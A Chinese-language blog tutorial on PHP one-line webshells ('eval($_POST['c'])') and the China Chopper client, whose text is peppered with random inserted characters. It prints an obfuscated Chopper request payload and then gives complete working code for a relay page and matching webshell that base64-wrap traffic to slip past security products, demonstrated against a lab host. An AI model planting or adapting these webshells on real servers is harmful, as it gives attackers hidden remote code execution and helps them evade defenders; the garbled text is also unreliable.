->_<-
0x00 前言
前一陣子心情不太好距糖,本來已經(jīng)不打算寫東西了,但想到自己在學習的時候摸爬滾打牵寺,吃盡了苦頭悍引,現(xiàn)在雖小有成就,但仍有很多同行道友在這條道路上不斷摸索帽氓,思索再三趣斤,還是打算繼續(xù)寫下去,算是為迷茫中的人點亮一盞微弱的燈……So黎休,這篇文章寫詳細一些浓领,就當找個愿意聽的人說話了
老規(guī)矩,以PHP為例做講解
0x01 原理
這里先給大家介紹一句話木馬和菜刀的工作原理奋渔,了解的可以往下面翻
一句話木馬
先說說一句話木馬的原理
<?php eval($_POST['c']);?>
先說說eval()這個函數(shù)
簡單點說镊逝,eval()這個函數(shù)會把參數(shù)當作代碼來執(zhí)行
什么叫做把參數(shù)當作代碼來執(zhí)行壮啊,簡單舉個例子
<?php phpinfo();?>
phpinfo()函數(shù)都明白吧嫉鲸,不明白也沒關系,它執(zhí)行結(jié)果是這樣的
<?php eval('phpinfo();');?>
當把phpinfo()函數(shù)作為字符串傳遞給eval()函數(shù)時歹啼,效果就相當于剛才的代碼
關于eval()函數(shù)就介紹到此玄渗,如果還有不明白的自己翻翻資料座菠,或者私信我
下面再說我們剛才寫的那個一句話木馬,現(xiàn)在理解起來就容易多了藤树,它會把POST傳遞過來的參數(shù)c的內(nèi)容作為PHP代碼執(zhí)行浴滴,具體執(zhí)行的內(nèi)容由POST參數(shù)決定,比如執(zhí)行系統(tǒng)命令
POST
c=system('whoami');
這樣只需要不斷改變POST過來的數(shù)據(jù)岁钓,就可以實現(xiàn)任意功能
這就是一句話木馬的原理
菜刀
理解了一句話木馬的原理后升略,菜刀的原理就更簡單了
菜刀其實就是根據(jù)一句話木馬的原理,將常用的一些操作的代碼封裝好屡限,再結(jié)合圖像界面(GUI)品嚣,實現(xiàn)當你雙擊文件夾時便可列出目錄
為了方便理解這里用wireshark抓個數(shù)據(jù)包
POST
c=$xx%3Dchr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100).chr(101).chr(99).chr(111).chr(100).chr(101);$yy=$_POST;@eval/**/.($xx/**/.($yy[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskRD1iYXNlNjRfZGVjb2RlKGdldF9tYWdpY19xdW90ZXNfZ3BjKCk%2Fc3RyaXBzbGFzaGVzKCRfUE9TVFsiejEiXSk6JF9QT1NUWyJ6MSJdKTskRj1Ab3BlbmRpcigkRCk7aWYoJEY9PU5VTEwpe2VjaG8oIkVSUk9SOi8vIFBhdGggTm90IEZvdW5kIE9yIE5vIFBlcm1pc3Npb24hIik7fWVsc2V7JE09TlVMTDskTD1OVUxMO3doaWxlKCROPUByZWFkZGlyKCRGKSl7JFA9JEQuIi8iLiROOyRUPUBkYXRlKCJZLW0tZCBIOmk6cyIsQGZpbGVtdGltZSgkUCkpO0AkRT1zdWJzdHIoYmFzZV9jb252ZXJ0KEBmaWxlcGVybXMoJFApLDEwLDgpLC00KTskUj0iXHQiLiRULiJcdCIuQGZpbGVzaXplKCRQKS4iXHQiLiRFLiIKIjtpZihAaXNfZGlyKCRQKSkkTS49JE4uIi8iLiRSO2Vsc2UgJEwuPSROLiRSO31lY2hvICRNLiRMO0BjbG9zZWRpcigkRik7fTtlY2hvKCJ8PC0iKTtkaWUoKTs%3D&z1=QzpcXFdJTkRPV1NcXA%3D%3D
感興趣的可以將發(fā)送的數(shù)據(jù)代碼自己分析分析,這里就不具體講了
0x02 中轉(zhuǎn)webshell
先扯點歷史
接著剛才菜刀原理說钧大,既然已知了菜刀是將封裝好的參數(shù)根據(jù)用戶操作發(fā)送給webshell翰撑,那么站在防護的角度來講,我可以將主流的菜刀參數(shù)都設為黑名單啊央,發(fā)現(xiàn)就攔截眶诈,甚至我可以對你發(fā)送的數(shù)據(jù)內(nèi)容進行簡單的自動審計,發(fā)現(xiàn)敏感的代碼直接攔截掉
這個就是早期的一些防護軟件的攔截手段
于是瓜饥,就有了一幫逆向大牛對菜刀進行逆向逝撬,將封裝好的參數(shù)進行混淆,或者對防護軟件進行fuzz压固,然后找到不攔截的參數(shù)去替換球拦,這樣就能實現(xiàn)一個“過狗”的效果
但是更有一群人渾水摸魚,在外發(fā)放了很多捆有后門的菜刀坐收漁翁之利帐我,而且隨著防護軟件越來越完善坎炼,找到一些能夠替換的函數(shù)代價太大,于是就有了中轉(zhuǎn)webshell(主要還是因為不會逆向……因為懶……)
中轉(zhuǎn)webshell的邏輯很簡單拦键,菜刀不直接向shell發(fā)送數(shù)據(jù)谣光,而是發(fā)送到中轉(zhuǎn)的一個頁面上,這個頁面對接收的參數(shù)全部進行加密(甚至可以用2048位的RSA芬为,只要你愿意)萄金,然后再發(fā)送給shell,shell接收后先用同樣的算法進行解密媚朦,然后對執(zhí)行的結(jié)果進行加密氧敢,返回給中轉(zhuǎn)shell,中轉(zhuǎn)shell再去解密询张,然后返回給菜刀客戶端
這樣就能實現(xiàn)自定義加密算法對菜刀的數(shù)據(jù)進行加密來繞過一些防護設備孙乖,話不多說,上圖
理解了原理就可以開始造輪子了
0x03 造輪子
中轉(zhuǎn)shell
<?php
set_time_limit(0);
$url = 'http://192.168.157.142:81/shell.php'; //真實shell地址
$opt_data = http_build_query($_POST);
$content = postdata($url,encode($opt_data));
$content = decode($content);
echo $content;
function encode($data){
return base64_encode(base64_encode($data));
}
function decode($data){
return base64_decode(base64_decode($data));
}
function postdata($url,$data){
$curl = curl_init(); //初始化
curl_setopt($curl,CURLOPT_URL,$url); //設置url
curl_setopt($curl,CURLOPT_HTTPAUTH,CURLAUTH_BASIC); //設置http驗證方法
curl_setopt($curl,CURLOPT_HEADER,0); //設置頭信息
curl_setopt($curl,CURLOPT_RETURNTRANSFER,1); //設置curl_exec獲取的信息的返回方式
curl_setopt($curl,CURLOPT_POST,1); //設置發(fā)送方式為post請求
curl_setopt($curl,CURLOPT_POSTFIELDS,$data); //設置post的數(shù)據(jù)
$result = curl_exec($curl);
if($result === false){
echo 'Request False!';
echo curl_errno($curl);
exit();
}
curl_close($curl);
return $result;
}
?>
webshell
<?php
function callback($buffer){
return (encode($buffer));
}
ob_start("callback");
parse_str(decode(file_get_contents('php://input')),$_POST);
eval($_POST['c']);
function encode($data){ //加密算法
return base64_encode(base64_encode($data));
}
function decode($data){ //解密算法
return base64_decode(base64_decode($data));
}
ob_end_flush();
?>
效果如下:
1.菜刀連接中轉(zhuǎn)shell
2.中轉(zhuǎn)shell修改真實shell的url
3.通過菜刀執(zhí)行系統(tǒng)命令查看ip
可以看到我們打開的是192.168.157.128的會話,但實際操作的確是我們的目標靶機192.168.157.142
至此結(jié)束
0xFF 尾言
身邊每個人都要去珍惜唯袄,不要等到失去才后悔莫急
——魯迅